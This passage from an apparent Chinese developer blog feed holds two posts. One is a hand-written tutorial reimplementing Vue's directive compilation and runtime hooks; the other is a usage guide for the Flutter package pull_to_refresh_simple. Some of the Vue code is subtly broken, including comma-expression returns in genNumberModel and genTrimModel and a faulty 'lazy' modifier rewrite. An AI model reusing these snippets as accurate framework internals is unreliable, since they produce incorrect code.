  },
  
  // 在绑定元素的父组件
  // 及他自己的所有子节点都挂载完成后调用
  mounted(el, binding, vnode) {
    console.log('mounted', binding);
    el.focus();
  },
  
  // 在包含组件的 VNode 更新前调用
  beforeUpdate(el, binding, vnode, prevVnode) {
    console.log('beforeUpdate', binding);
  },
  
  // 在包含组件的 VNode 及其子组件的 VNode 更新后调用
  updated(el, binding, vnode, prevVnode) {
    console.log('updated', binding);
  },
  
  // 在绑定元素的父组件卸载前调用
  beforeUnmount(el, binding, vnode) {
    console.log('beforeUnmount', binding);
  },
  
  // 在绑定元素的父组件卸载后调用
  unmounted(el, binding, vnode) {
    console.log('unmounted', binding);
  }
};

binding 对象的属性

const binding = {
  value: 'directive value',        // 指令绑定的值
  oldValue: 'old value',            // 更新前的值
  arg: 'argName',                   // 指令参数
  modifiers: {                       // 修饰符对象
    prevent: true,
    stop: true
  },
  instance: componentInstance,       // 组件实例
  dir: directiveDefinition,          // 指令定义对象
  // 在 Vue 3.4+ 中新增
  modifiersKeys: ['prevent', 'stop'] // 修饰符数组
};

组件钩子函数的调用时机

组件钩子函数的调用时机

编译阶段的指令处理

指令的 AST 表示

我们来看一个比较复杂的自定义指令的例子:

<div v-custom:arg.mod1.mod2="value"></div>

这个例子对应的 AST 节点如下:

const elementNode = {
  type: 'Element',
  tag: 'div',
  props: [
    // 普通属性
    { name: 'class', value: 'container' },
    // 指令
    {
      type: 'Directive',
      name: 'custom',
      arg: 'arg',
      modifiers: ['mod1', 'mod2'],
      value: 'value',
      exp: {
        type: 'Expression',
        content: 'value'
      }
    }
  ]
};

指令的编译转换

/**
 * 指令转换插件
 */
const transformDirective = (node, context) => {
  if (node.type !== 'Element') return;
  
  if (!node.props) node.props = [];
  
  // 收集指令
  const directives = [];
  
  for (let i = node.props.length - 1; i >= 0; i--) {
    const prop = node.props[i];
    
    if (prop.type === 'Directive') {
      directives.push(prop);
      node.props.splice(i, 1); // 从props中移除
    }
  }
  
  if (directives.length === 0) return;
  
  // 为节点添加指令信息
  node.directives = directives.map(dir => ({
    name: dir.name,
    arg: dir.arg,
    modifiers: dir.modifiers,
    value: dir.value,
    exp: dir.exp
  }));
};

/**
 * 内置指令的转换
 */
const transformBuiltInDirectives = (node, context) => {
  if (!node.directives) return;
  
  for (const dir of node.directives) {
    switch (dir.name) {
      case 'if':
        transformVIf(node, dir, context);
        break;
      case 'for':
        transformVFor(node, dir, context);
        break;
      case 'model':
        transformVModel(node, dir, context);
        break;
      case 'show':
        transformVShow(node, dir, context);
        break;
      case 'on':
        transformVOn(node, dir, context);
        break;
      case 'bind':
        transformVBind(node, dir, context);
        break;
      // 自定义指令会保留,运行时处理
    }
  }
};

指令的代码生成

/**
 * 生成指令的运行时代码
 */
const genDirective = (dir, context) => {
  const { name, arg, modifiers, value } = dir;
  
  // 处理参数
  const argStr = arg ? `'${arg}'` : 'null';
  
  // 处理修饰符
  const modifiersObj = {};
  if (modifiers) {
    for (const mod of modifiers) {
      modifiersObj[mod] = true;
    }
  }
  
  // 生成指令对象
  return {
    name: `'${name}'`,
    value: `() => ${value}`,
    arg: argStr,
    modifiers: JSON.stringify(modifiersObj)
  };
};

/**
 * 生成节点上的所有指令
 */
const genDirectives = (node, context) => {
  if (!node.directives || node.directives.length === 0) return '';
  
  const dirs = node.directives.map(dir => genDirective(dir, context));
  
  return `directives: [${dirs.map(d => `{${Object.entries(d).map(([k, v]) => `${k}: ${v}`).join(', ')}}`).join(', ')}]`;
};

运行时的指令调用

指令调度器

/**
 * 运行时指令管理器
 */
class DirectiveManager {
  constructor() {
    this.directives = new Map(); // 全局指令
    this.instances = new WeakMap(); // 元素上的指令实例
  }
  
  /**
   * 注册指令
   */
  register(name, definition) {
    this.directives.set(name, definition);
  }
  
  /**
   * 获取指令定义
   */
  get(name) {
    return this.directives.get(name);
  }
  
  /**
   * 在元素上应用指令
   */
  applyDirectives(el, vnode) {
    const { directives } = vnode;
    if (!directives) return;
    
    const instances = [];
    
    for (const dir of directives) {
      const definition = this.get(dir.name);
      if (!definition) {
        console.warn(`指令 ${dir.name} 未注册`);
        continue;
      }
      
      // 创建指令实例
      const instance = {
        dir: definition,
        binding: this.createBinding(dir, vnode),
        vnode
      };
      
      instances.push(instance);
      
      // 调用 created 钩子
      if (definition.created) {
        definition.created(el, instance.binding, vnode);
      }
    }
    
    this.instances.set(el, instances);
  }
  
  /**
   * 创建 binding 对象
   */
  createBinding(dir, vnode) {
    return {
      value: dir.value ? dir.value() : undefined,
      oldValue: undefined,
      arg: dir.arg,
      modifiers: dir.modifiers || {},
      instance: vnode.component,
      dir: this.get(dir.name)
    };
  }
  
  /**
   * 更新指令
   */
  updateDirectives(oldVNode, newVNode) {
    const el = newVNode.el;
    const oldInstances = this.instances.get(el) || [];
    const newDirectives = newVNode.directives || [];
    
    // 创建新实例的映射
    const newInstances = [];
    const newDirMap = new Map();
    
    for (const dir of newDirectives) {
      newDirMap.set(dir.name, dir);
    }
    
    // 更新现有指令
    for (const oldInstance of oldInstances) {
      const newDir = newDirMap.get(oldInstance.dir.name);
      
      if (newDir) {
        // 指令仍然存在,更新 binding
        const oldBinding = oldInstance.binding;
        const newBinding = this.createBinding(newDir, newVNode);
        newBinding.oldValue = oldBinding.value;
        
        // 调用 beforeUpdate
        if (oldInstance.dir.beforeUpdate) {
          oldInstance.dir.beforeUpdate(el, newBinding, newVNode, oldInstance.vnode);
        }
        
        // 更新实例
        oldInstance.binding = newBinding;
        oldInstance.vnode = newVNode;
        newInstances.push(oldInstance);
        
        newDirMap.delete(oldInstance.dir.name);
      } else {
        // 指令被移除,调用 beforeUnmount
        if (oldInstance.dir.beforeUnmount) {
          oldInstance.dir.beforeUnmount(el, oldInstance.binding, oldInstance.vnode);
        }
      }
    }
    
    // 添加新指令
    for (const [name, dir] of newDirMap) {
      const definition = this.get(name);
      if (!definition) continue;
      
      const instance = {
        dir: definition,
        binding: this.createBinding(dir, newVNode),
        vnode: newVNode
      };
      
      // 调用 created
      if (definition.created) {
        definition.created(el, instance.binding, newVNode);
      }
      
      newInstances.push(instance);
    }
    
    this.instances.set(el, newInstances);
  }
  
  /**
   * 触发指令钩子
   */
  invokeHook(el, hookName, ...args) {
    const instances = this.instances.get(el);
    if (!instances) return;
    
    for (const instance of instances) {
      const hook = instance.dir[hookName];
      if (hook) {
        hook(el, instance.binding, ...args);
      }
    }
  }
}

// 创建全局指令管理器
const directiveManager = new DirectiveManager();

与渲染器的集成

/**
 * 在渲染器中集成指令
 */
class Renderer {
  patch(oldVNode, newVNode, container) {
    // ... 其他patch逻辑
    
    if (oldVNode && newVNode && oldVNode.el === newVNode.el) {
      // 更新指令
      directiveManager.updateDirectives(oldVNode, newVNode);
    }
  }
  
  mountElement(vnode, container, anchor) {
    const el = document.createElement(vnode.type);
    vnode.el = el;
    
    // 在挂载前调用指令钩子
    directiveManager.applyDirectives(el, vnode);
    
    // ... 其他挂载逻辑
    
    // 挂载后调用 mounted
    directiveManager.invokeHook(el, 'mounted');
  }
  
  unmount(vnode) {
    const el = vnode.el;
    
    // 调用 beforeUnmount
    directiveManager.invokeHook(el, 'beforeUnmount', vnode);
    
    // ... 卸载逻辑
    
    // 调用 unmounted
    directiveManager.invokeHook(el, 'unmounted');
  }
}

内置指令的编译实现

常见内置指令

内置指令 编译处理 运行时 示例
v-if 转为条件表达式 条件渲染 <div v-if="show">
v-for 转为renderList 循环渲染 <li v-for="item in list">
v-model 拆分为value+事件 双向绑定 <input v-model="text">
v-show 转为style控制 切换display <div v-show="visible">
v-on 转为事件绑定 事件监听 <button @click="fn">
v-bind 转为属性绑定 属性更新 <div :class="cls">
自定义指令 保留指令信息 调用钩子 <div v-custom>

v-if 的编译

function transformVIf(node, dir, context) {
  // 将元素转换为条件节点
  node.type = 'Conditional';
  node.condition = dir.value;
  node.consequent = node;
  
  // 查找相邻的 v-else-if 和 v-else
  let current = node;
  while (current.next) {
    const nextNode = current.next;
    const elseDir = nextNode.directives?.find(d => d.name === 'else-if' || d.name === 'else');
    
    if (elseDir) {
      if (elseDir.name === 'else-if') {
        // 转换为条件分支
        current.alternate = {
          type: 'Conditional',
          condition: elseDir.value,
          consequent: nextNode
        };
        current = current.alternate;
      } else {
        // v-else
        current.alternate = nextNode;
      }
      
      // 移除指令标记
      nextNode.directives = nextNode.directives?.filter(d => d.name !== 'else-if' && d.name !== 'else');
    } else {
      break;
    }
  }
}

/**
 * 生成 v-if 代码
 */
function genVIf(node) {
  if (node.type !== 'Conditional') return;
  
  let code = `ctx.${node.condition} ? `;
  code += genNode(node.consequent);
  code += ' : ';
  
  if (node.alternate) {
    if (node.alternate.type === 'Conditional') {
      code += genVIf(node.alternate);
    } else {
      code += genNode(node.alternate);
    }
  } else {
    code += 'null';
  }
  
  return code;
}

v-show 的编译

function transformVShow(node, dir, context) {
  // v-show 只是添加 style 控制
  if (!node.props) node.props = [];
  
  const styleProp = node.props.find(p => p.name === 'style');
  
  if (styleProp) {
    // 合并现有 style
    styleProp.value = `[${styleProp.value}, ctx.${dir.value} ? null : { display: 'none' }]`;
  } else {
    // 添加 style 属性
    node.props.push({
      name: 'style',
      value: `ctx.${dir.value} ? null : { display: 'none' }`
    });
  }
  
  // 移除 v-show 指令
  node.directives = node.directives?.filter(d => d.name !== 'show');
}

/**
 * 生成 v-show 代码(在 props 中体现)
 */
function genVShow(node) {
  // v-show 已经在 props 中处理,这里不需要额外生成
  return genNode(node);
}

v-model 的编译

function transformVModel(node, dir, context) {
  const value = dir.value;
  const modifiers = dir.modifiers || [];
  
  // 根据元素类型生成不同的事件和属性
  let propName = 'modelValue';
  let eventName = 'onUpdate:modelValue';
  
  if (node.tag === 'input') {
    if (modifiers.includes('number')) {
      // v-model.number
      return genNumberModel(value);
    } else if (modifiers.includes('trim')) {
      // v-model.trim
      return genTrimModel(value);
    }
  } else if (node.tag === 'select') {
    propName = 'modelValue';
    eventName = 'onUpdate:modelValue';
  } else if (node.tag === 'textarea') {
    propName = 'modelValue';
    eventName = 'onUpdate:modelValue';
  }
  
  // 添加 props
  if (!node.props) node.props = [];
  
  // 添加 value 绑定
  node.props.push({
    name: propName,
    value: `ctx.${value}`
  });
  
  // 添加事件绑定
  node.props.push({
    name: eventName,
    value: genUpdateHandler(value, modifiers)
  });
}

/**
 * 生成更新处理器
 */
function genUpdateHandler(value, modifiers) {
  let handler = `$event => ctx.${value} = $event`;
  
  if (modifiers.includes('number')) {
    handler = `$event => ctx.${value} = parseFloat($event)`;
  } else if (modifiers.includes('trim')) {
    handler = `$event => ctx.${value} = $event.trim()`;
  }
  
  if (modifiers.includes('lazy')) {
    handler = handler.replace('$event', '$event.target.value');
  }
  
  return handler;
}

/**
 * 生成数字输入模型
 */
function genNumberModel(value) {
  return {
    type: 'Directive',
    name: 'bind',
    arg: 'value',
    value: `ctx.${value}`
  }, {
    type: 'Directive',
    name: 'on',
    arg: 'input',
    value: `$event => ctx.${value} = $event.target.value ? parseFloat($event.target.value) : ''`
  };
}

/**
 * 生成修剪模型
 */
function genTrimModel(value) {
  return {
    type: 'Directive',
    name: 'bind',
    arg: 'value',
    value: `ctx.${value}`
  }, {
    type: 'Directive',
    name: 'on',
    arg: 'blur',
    value: `$event => ctx.${value} = $event.target.value.trim()`
  };
}

v-for 的编译

function transformVFor(node, dir, context) {
  // 解析 v-for 表达式 "item in list"
  const match = dir.value.match(/(.*?) in (.*)/);
  if (!match) return;
  
  const [, alias, source] = match;
  
  // 转换为 For 节点
  node.type = 'For';
  node.source = source.trim();
  node.alias = alias.trim();
  node.children = node.children || [];
  
  // 添加 key 处理
  const keyProp = node.props?.find(p => p.name === 'key' || p.name === ':key');
  if (!keyProp) {
    // 自动添加 key 建议
    console.warn('v-for 应该提供 key 属性');
  }
  
  // 移除 v-for 指令
  node.directives = node.directives?.filter(d => d.name !== 'for');
}

/**
 * 生成 v-for 代码
 */
function genVFor(node) {
  if (node.type !== 'For') return;
  
  const { source, alias, children } = node;
  
  return `renderList(ctx.${source}, (${alias}, index) => {
    return ${genNode(children[0])}
  })`;
}

自定义指令的编译处理

自定义指令的保留

/**
 * 处理自定义指令
 */
function transformCustomDirective(node, context) {
  if (!node.directives) return;
  
  // 保留自定义指令,运行时处理
  node.customDirectives = node.directives.filter(dir => {
    return !['if', 'for', 'model', 'show', 'on', 'bind'].includes(dir.name);
  });
  
  // 移除已处理的指令
  node.directives = node.directives.filter(dir => {
    return ['if', 'for', 'model', 'show', 'on', 'bind'].includes(dir.name);
  });
}

/**
 * 生成自定义指令代码
 */
function genCustomDirectives(node, context) {
  if (!node.customDirectives?.length) return '';
  
  const dirs = node.customDirectives.map(dir => {
    const { name, arg, modifiers, value } = dir;
    
    return {
      name: `'${name}'`,
      value: `() => ${value}`,
      arg: arg ? `'${arg}'` : 'null',
      modifiers: JSON.stringify(modifiers || {})
    };
  });
  
  return `directives: [${dirs.map(d => 
    `{${Object.entries(d).map(([k, v]) => `${k}: ${v}`).join(', ')}}`
  ).join(', ')}]`;
}

指令的参数和修饰符

/**
 * 解析指令参数和修饰符
 */
function parseDirective(name) {
  // 例如:v-on:click.prevent.stop
  const parts = name.split(':');
  const dirName = parts[0];
  
  let arg = parts[1] || '';
  let modifiers = [];
  
  // 解析修饰符
  if (arg.includes('.')) {
    const argParts = arg.split('.');
    arg = argParts[0];
    modifiers = argParts.slice(1);
  }
  
  return {
    name: dirName,
    arg,
    modifiers
  };
}

/**
 * 生成修饰符处理代码
 */
function genModifiers(modifiers) {
  const obj = {};
  for (const mod of modifiers) {
    obj[mod] = true;
  }
  return JSON.stringify(obj);
}

事件修饰符的实现

常用事件修饰符

通用事件修饰符

修饰符 作用 典型使用场景
.stop 阻止事件冒泡。 防止点击一个内部的按钮意外触发了外层容器的点击事件。
.prevent 阻止事件的默认行为。 自定义表单提交逻辑,或自定义链接行为。
.capture 使用事件捕获模式。 当你希望父元素能比子元素更早地捕获到事件时使用。
.self 只有当 event.target 是当前元素自身时,才触发事件处理函数。 严格区分是点击了元素本身还是其内部子元素的场景。
.once 事件将只会触发一次。 一次性操作,如首次点击的引导、支付按钮等,防止重复提交。
.passive 告诉浏览器你不想阻止事件的默认行为,从而提升性能。尤其适用于移动端的滚动事件(touchmove),能让滚动更流畅。 提升滚动性能,通常用于改善移动端设备的滚屏体验。

注:修饰符可以串联使用,比如 @click.stop.prevent 会同时阻止冒泡和默认行为。但需要注意顺序,因为相关代码会按顺序生成。

按键修饰符

按键修饰符专门用于监听键盘事件,方便监听按下了哪个键。Vue 为最常用的按键提供了别名,我们可以直接使用:

  • .enter (回车键)
  • .tab (制表键)
  • .delete (捕获“删除”和“退格”键)
  • .esc (退出键)
  • .space (空格键)
  • .up / .down / .left / .right (方向键)

鼠标按键修饰符

指定由特定鼠标按键触发的事件:

  • .left (鼠标左键)
  • .right (鼠标右键)
  • .middle (鼠标滚轮键)

运行时的事件处理

/**
 * 运行时事件绑定处理
 */
class EventManager {
  constructor() {
    this.eventHandlers = new WeakMap();
  }
  
  /**
   * 绑定事件
   */
  addEventListener(el, eventName, handler, options) {
    // 解析事件选项
    let useCapture = false;
    let isPassive = false;
    
    if (eventName.includes('!')) {
      useCapture = true;
      eventName = eventName.replace('!', '');
    }
    
    if (eventName.includes('~')) {
      isPassive = true;
      eventName = eventName.replace('~', '');
    }
    
    const eventOptions = {
      capture: useCapture,
      passive: isPassive
    };
    
    // 存储事件处理器
    if (!this.eventHandlers.has(el)) {
      this.eventHandlers.set(el, new Map());
    }
    
    const handlers = this.eventHandlers.get(el);
    handlers.set(eventName, { handler, options: eventOptions });
    
    // 绑定事件
    el.addEventListener(eventName, handler, eventOptions);
  }
  
  /**
   * 更新事件
   */
  updateEventListener(el, eventName, newHandler) {
    const handlers = this.eventHandlers.get(el);
    if (!handlers) return;
    
    const old = handlers.get(eventName);
    if (old) {
      el.removeEventListener(eventName, old.handler, old.options);
    }
    
    if (newHandler) {
      this.addEventListener(el, eventName, newHandler.handler, newHandler.options);
    }
  }
}

手写实现:完整指令系统

/**
 * 完整指令编译器
 */
class DirectiveCompiler {
  constructor() {
    this.builtInDirectives = new Set(['if', 'for', 'model', 'show', 'on', 'bind']);
  }
  
  /**
   * 编译模板中的指令
   */
  compile(template) {
    // 1. 解析AST
    const ast = this.parse(template);
    
    // 2. 转换AST
    this.transform(ast);
    
    // 3. 生成代码
    const code = this.generate(ast);
    
    return code;
  }
  
  /**
   * 解析模板
   */
  parse(template) {
    // 简化的解析逻辑
    const ast = {
      type: 'Root',
      children: []
    };
    
    // 解析元素和指令
    const elementRegex = /<(\w+)([^>]*)>/g;
    const directiveRegex = /v-(\w+)(?::(\w+))?(?:\.(\w+))?="([^"]*)"/g;
    
    // ... 解析逻辑
    
    return ast;
  }
  
  /**
   * 转换AST
   */
  transform(node) {
    if (node.type === 'Element') {
      // 提取指令
      const directives = [];
      
      if (node.attributes) {
        for (const attr of node.attributes) {
          const match = attr.name.match(/^v-(\w+)(?::(\w+))?(?:\.([\w.]+))?$/);
          if (match) {
            const [_, name, arg, modifiersStr] = match;
            const modifiers = modifiersStr ? modifiersStr.split('.') : [];
            
            directives.push({
              name,
              arg,
              modifiers,
              value: attr.value,
              exp: {
                type: 'Expression',
                content: attr.value
              }
            });
            
            // 移除原始属性
            node.attributes = node.attributes.filter(a => a !== attr);
          }
        }
      }
      
      if (directives.length > 0) {
        node.directives = directives;
        
        // 处理内置指令
        for (const dir of directives) {
          if (this.builtInDirectives.has(dir.name)) {
            this.processBuiltInDirective(node, dir);
          }
        }
        
        // 保留自定义指令
        node.customDirectives = directives.filter(
          dir => !this.builtInDirectives.has(dir.name)
        );
      }
      
      // 递归处理子节点
      if (node.children) {
        for (const child of node.children) {
          this.transform(child);
        }
      }
    }
  }
  
  /**
   * 处理内置指令
   */
  processBuiltInDirective(node, dir) {
    switch (dir.name) {
      case 'if':
        this.processVIf(node, dir);
        break;
      case 'for':
        this.processVFor(node, dir);
        break;
      case 'model':
        this.processVModel(node, dir);
        break;
      case 'show':
        this.processVShow(node, dir);
        break;
      case 'on':
        this.processVOn(node, dir);
        break;
      case 'bind':
        this.processVBind(node, dir);
        break;
    }
  }
  
  /**
   * 处理 v-if
   */
  processVIf(node, dir) {
    node.type = 'Conditional';
    node.condition = dir.value;
    node.consequent = { ...node };
    delete node.consequent.directives;
    delete node.consequent.customDirectives;
  }
  
  /**
   * 处理 v-for
   */
  processVFor(node, dir) {
    const match = dir.value.match(/(.*?) in (.*)/);
    if (match) {
      node.type = 'For';
      node.alias = match[1].trim();
      node.source = match[2].trim();
      node.iterator = node;
      delete node.iterator.directives;
      delete node.iterator.customDirectives;
    }
  }
  
  /**
   * 处理 v-model
   */
  processVModel(node, dir) {
    if (!node.props) node.props = [];
    
    node.props.push({
      name: 'modelValue',
      value: `ctx.${dir.value}`
    });
    
    node.props.push({
      name: 'onUpdate:modelValue',
      value: this.genUpdateHandler(dir)
    });
  }
  
  /**
   * 处理 v-show
   */
  processVShow(node, dir) {
    if (!node.props) node.props = [];
    
    const styleProp = node.props.find(p => p.name === 'style');
    if (styleProp) {
      styleProp.value = `[${styleProp.value}, ctx.${dir.value} ? null : { display: 'none' }]`;
    } else {
      node.props.push({
        name: 'style',
        value: `ctx.${dir.value} ? null : { display: 'none' }`
      });
    }
  }
  
  /**
   * 处理 v-on
   */
  processVOn(node, dir) {
    if (!node.props) node.props = [];
    
    const eventName = dir.arg;
    let handler = `ctx.${dir.value}`;
    
    // 应用修饰符
    if (dir.modifiers) {
      handler = this.applyModifiers(handler, dir.modifiers);
    }
    
    node.props.push({
      name: `on${eventName.charAt(0).toUpperCase() + eventName.slice(1)}`,
      value: handler
    });
  }
  
  /**
   * 处理 v-bind
   */
  processVBind(node, dir) {
    if (!node.props) node.props = [];
    
    node.props.push({
      name: dir.arg,
      value: `ctx.${dir.value}`
    });
  }
  
  /**
   * 应用修饰符
   */
  applyModifiers(handler, modifiers) {
    for (const mod of modifiers) {
      switch (mod) {
        case 'stop':
          handler = `$event => { $event.stopPropagation(); ${handler}($event) }`;
          break;
        case 'prevent':
          handler = `$event => { $event.preventDefault(); ${handler}($event) }`;
          break;
        case 'once':
          handler = `once(${handler})`;
          break;
      }
    }
    return handler;
  }
  
  /**
   * 生成更新处理器
   */
  genUpdateHandler(dir) {
    let handler = `$event => ctx.${dir.value} = $event`;
    
    if (dir.modifiers) {
      if (dir.modifiers.includes('number')) {
        handler = `$event => ctx.${dir.value} = parseFloat($event)`;
      }
      if (dir.modifiers.includes('trim')) {
        handler = `$event => ctx.${dir.value} = $event.trim()`;
      }
      if (dir.modifiers.includes('lazy')) {
        handler = handler.replace('$event', '$event.target.value');
      }
    }
    
    return handler;
  }
  
  /**
   * 生成代码
   */
  generate(node) {
    if (!node) return 'null';
    
    switch (node.type) {
      case 'Root':
        return this.generateRoot(node);
      case 'Element':
        return this.generateElement(node);
      case 'Conditional':
        return this.generateConditional(node);
      case 'For':
        return this.generateFor(node);
      default:
        return 'null';
    }
  }
  
  /**
   * 生成元素代码
   */
  generateElement(node) {
    const parts = ['createVNode'];
    
    // 标签
    parts.push(`'${node.tag}'`);
    
    // 属性
    if (node.props) {
      const propsObj = {};
      for (const prop of node.props) {
        propsObj[prop.name] = prop.value;
      }
      parts.push(JSON.stringify(propsObj));
    } else {
      parts.push('null');
    }
    
    // 子节点
    if (node.children) {
      const children = node.children.map(child => this.generate(child));
      if (children.length === 1) {
        parts.push(children[0]);
      } else {
        parts.push(`[${children.join(', ')}]`);
      }
    } else {
      parts.push('null');
    }
    
    // 自定义指令
    if (node.customDirectives?.length) {
      const dirs = node.customDirectives.map(dir => ({
        name: `'${dir.name}'`,
        value: `() => ${dir.value}`,
        arg: dir.arg ? `'${dir.arg}'` : 'null',
        modifiers: JSON.stringify(dir.modifiers || {})
      }));
      
      parts.push(JSON.stringify({
        directives: dirs
      }));
    }
    
    return `createVNode(${parts.join(', ')})`;
  }
  
  /**
   * 生成条件节点
   */
  generateConditional(node) {
    return `${node.condition} ? ${this.generate(node.consequent)} : null`;
  }
  
  /**
   * 生成循环节点
   */
  generateFor(node) {
    return `renderList(ctx.${node.source}, (${node.alias}, index) => ${this.generate(node.iterator)})`;
  }
}

结语

理解指令系统,不仅帮助我们更好地使用内置指令,也能创建强大的自定义指令,提升开发效率。指令系统是 Vue 声明式编程的重要体现,它将 DOM 操作封装成声明式的语法,让开发者可以专注于业务逻辑。

对于文章中错误的地方或有任何疑问,欢迎在评论区留言讨论!

pull_to_refresh_simple

作者 妖枪银弹
2026年3月2日 13:26

pull_to_refresh_simple

一个功能强大的 Flutter 下拉刷新和上拉加载更多组件,支持多种自定义指示器样式。

pull_to_refresh_simple

该库修改自github,因原来的库无人维护。

特性

  • ✅ 支持下拉刷新和上拉加载更多
  • ✅ 内置多种指示器样式(Classic、Material、WaterDrop)
  • ✅ 支持完全自定义的 Header 和 Footer
  • ✅ 支持 ListView、GridView、CustomScrollView 等多种滚动组件
  • ✅ 支持全局配置
  • ✅ 支持国际化
  • ✅ 完善的状态管理

安装

pubspec.yaml 文件中添加依赖:

dependencies:
  pull_to_refresh_simple: ^1.0.0

然后运行:

flutter pub get

基本用法

1. 导入包

import 'package:pull_to_refresh_simple/pull_to_refresh.dart';

2. 创建 RefreshController

final RefreshController _refreshController = RefreshController(initialRefresh: false);

3. 使用 SmartRefresher 组件

SmartRefresher(
  controller: _refreshController,
  enablePullDown: true,  // 启用下拉刷新
  enablePullUp: true,    // 启用上拉加载
  enableSmartPreload: true, // 启用智能预加载
  onRefresh: _onRefresh,
  onLoading: _onLoading,
  header: const ClassicHeader(),
  footer: const ClassicFooter(),
  child: ListView.builder(
    itemCount: items.length,
    itemBuilder: (context, index) {
      return ListTile(title: Text('Item $index'));
    },
  ),
)

4. 实现刷新和加载回调

void _onRefresh() async {
  // 执行刷新逻辑
  await fetchData();
  // 结束刷新
  _refreshController.refreshCompleted();
}

void _onLoading() async {
  // 执行加载更多逻辑
  await loadMoreData();
  // 结束加载
  _refreshController.loadComplete();
}

5. 释放资源

@override
void dispose() {
  _refreshController.dispose();
  super.dispose();
}

完整示例

import 'package:flutter/material.dart';
import 'package:pull_to_refresh_simple/pull_to_refresh.dart';

void main() {
  runApp(const MyApp());
}

class MyApp extends StatefulWidget {
  const MyApp({super.key});

  @override
  State<MyApp> createState() => _MyAppState();
}

class _MyAppState extends State<MyApp> {
  final RefreshController _refreshController = RefreshController(initialRefresh: false);
  List<int> _items = List.generate(20, (index) => index);

  void _onRefresh() async {
    await Future.delayed(const Duration(milliseconds: 1500));
    setState(() {
      _items = List.generate(20, (index) => index);
    });
    _refreshController.refreshCompleted();
  }

  void _onLoading() async {
    await Future.delayed(const Duration(milliseconds: 1500));
    setState(() {
      final int length = _items.length;
      _items.addAll(List.generate(20, (index) => length + index));
    });
    _refreshController.loadComplete();
  }

  @override
  void dispose() {
    _refreshController.dispose();
    super.dispose();
  }

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(title: const Text('Pull to Refresh Plus')),
        body: SmartRefresher(
          controller: _refreshController,
          enablePullDown: true,
          enablePullUp: true,
          enableSmartPreload: true, // 启用智能预加载
          onRefresh: _onRefresh,
          onLoading: _onLoading,
          header: const ClassicHeader(),
          footer: const ClassicFooter(),
          child: ListView.builder(
            padding: const EdgeInsets.all(10),
            itemCount: _items.length,
            itemBuilder: (context, index) {
              return Container(
                height: 100,
                margin: const EdgeInsets.only(bottom: 10),
                color: Colors.grey,
                child: Center(
                  child: Text(
                    'Item ${_items[index]}',
                    style: const TextStyle(color: Colors.white, fontSize: 16),
                  ),
                ),
              );
            },
          ),
        ),
      ),
    );
  }
}

内置指示器

Header 指示器

1. ClassicHeader

经典下拉刷新指示器,支持自定义文本和图标。

SmartRefresher(
  header: const ClassicHeader(
    idleText: '下拉刷新',
    releaseText: '释放刷新',
    refreshingText: '刷新中...',
    completeText: '刷新完成',
    failedText: '刷新失败',
  ),
  // ...
)
2. MaterialClassicHeader

Material Design 风格的刷新指示器。

SmartRefresher(
  header: const MaterialClassicHeader(
    color: Colors.blue,
    backgroundColor: Colors.white,
    distance: 50.0,
  ),
  // ...
)
3. WaterDropMaterialHeader

带水滴效果的 Material 风格指示器。

SmartRefresher(
  header: const WaterDropMaterialHeader(
    color: Colors.white,
    backgroundColor: Colors.blue,
    distance: 60.0,
  ),
  // ...
)

Footer 指示器

ClassicFooter

经典上拉加载指示器。

SmartRefresher(
  footer: const ClassicFooter(
    idleText: '上拉加载',
    loadingText: '加载中...',
    noDataText: '没有更多数据',
    failedText: '加载失败',
    canLoadingText: '释放加载',
  ),
  // ...
)

自定义指示器

自定义 Header

使用 CustomHeader 创建完全自定义的下拉刷新指示器:

class MyCustomHeader extends StatefulWidget {
  const MyCustomHeader({super.key});

  @override
  State<MyCustomHeader> createState() => _MyCustomHeaderState();
}

class _MyCustomHeaderState extends State<MyCustomHeader> {
  @override
  Widget build(BuildContext context) {
    return CustomHeader(
      refreshStyle: RefreshStyle.follow,
      height: 100,
      onOffsetChange: (offset) {
        // 偏移量变化回调
      },
      onModeChange: (mode) {
        // 状态变化回调
      },
      builder: (context, mode) {
        // 根据不同状态返回不同的 UI
        if (mode == RefreshStatus.refreshing) {
          return const CircularProgressIndicator();
        } else if (mode == RefreshStatus.completed) {
          return const Text('刷新完成');
        } else {
          return const Text('下拉刷新');
        }
      },
    );
  }
}

自定义 Footer

使用 CustomFooter 创建完全自定义的上拉加载指示器:

class MyCustomFooter extends StatefulWidget {
  const MyCustomFooter({super.key});

  @override
  State<MyCustomFooter> createState() => _MyCustomFooterState();
}

class _MyCustomFooterState extends State<MyCustomFooter> {
  @override
  Widget build(BuildContext context) {
    return CustomFooter(
      height: 50,
      onModeChange: (mode) {
        // 状态变化回调
      },
      builder: (context, mode) {
        if (mode == LoadStatus.loading) {
          return const CircularProgressIndicator();
        } else if (mode == LoadStatus.noMore) {
          return const Text('没有更多数据');
        } else {
          return const Text('上拉加载');
        }
      },
    );
  }
}

SmartRefresher 参数说明

参数 类型 默认值 说明
controller RefreshController - 控制刷新和加载状态的控制器,不能为空
child Widget? - 刷新内容组件
header Widget? - 头部刷新指示器
footer Widget? - 底部加载更多指示器
enablePullDown bool true 是否启用下拉刷新功能
enablePullUp bool false 是否启用上拉加载更多功能
enableSmartPreload bool? null 是否启用智能预加载(基于上一次加载高度的一半进行预加载),默认使用全局配置
onRefresh VoidCallback? - 下拉刷新回调
onLoading VoidCallback? - 上拉加载更多回调
scrollDirection Axis? - 滚动方向(复制自 ScrollView)
reverse bool? - 是否反向滚动(复制自 ScrollView)
scrollController ScrollController? - 滚动控制器(复制自 ScrollView)
primary bool? - 是否使用 primary scroll controller(复制自 ScrollView)
physics ScrollPhysics? - 滚动物理效果(复制自 ScrollView)
cacheExtent double? - 缓存区域大小(复制自 ScrollView)
semanticChildCount int? - 语义化子组件数量(复制自 ScrollView)
dragStartBehavior DragStartBehavior? - 拖动开始行为(复制自 ScrollView)

RefreshController API

刷新相关方法

// 手动触发刷新
_refreshController.requestRefresh();

// 刷新成功
_refreshController.refreshCompleted();

// 刷新失败
_refreshController.refreshFailed();

// 直接结束刷新(不显示成功或失败状态)
_refreshController.refreshToIdle();

加载相关方法

// 手动触发加载
_refreshController.requestLoading();

// 加载成功
_refreshController.loadComplete();

// 加载失败
_refreshController.loadFailed();

// 没有更多数据
_refreshController.loadNoData();

// 重置无数据状态
_refreshController.resetNoData();

状态属性

// 当前头部状态
RefreshStatus? status = _refreshController.headerStatus;

// 当前底部状态
LoadStatus? status = _refreshController.footerStatus;

// 是否正在刷新
bool isRefreshing = _refreshController.isRefresh;

// 是否正在加载
bool isLoading = _refreshController.isLoading;

